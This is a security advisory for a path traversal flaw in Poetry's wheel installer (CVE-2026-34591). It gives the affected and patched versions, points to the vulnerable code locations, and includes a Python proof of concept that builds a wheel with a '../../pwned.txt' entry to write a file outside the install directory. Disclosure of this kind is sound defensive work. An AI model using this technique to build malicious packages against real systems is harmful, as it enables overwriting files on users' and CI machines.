Skip to content

Wheel Path Traversal Leading to Arbitrary File Write

High
radoering published GHSA-2599-h6xx-hpxp Mar 31, 2026

Package

pip poetry (pip)

Affected versions

>=1.4.0 and <=2.3.2

Patched versions

2.3.3

Description

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. This is high severity because it is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.)

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)

Severity

High

CVE ID

CVE-2026-34591

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits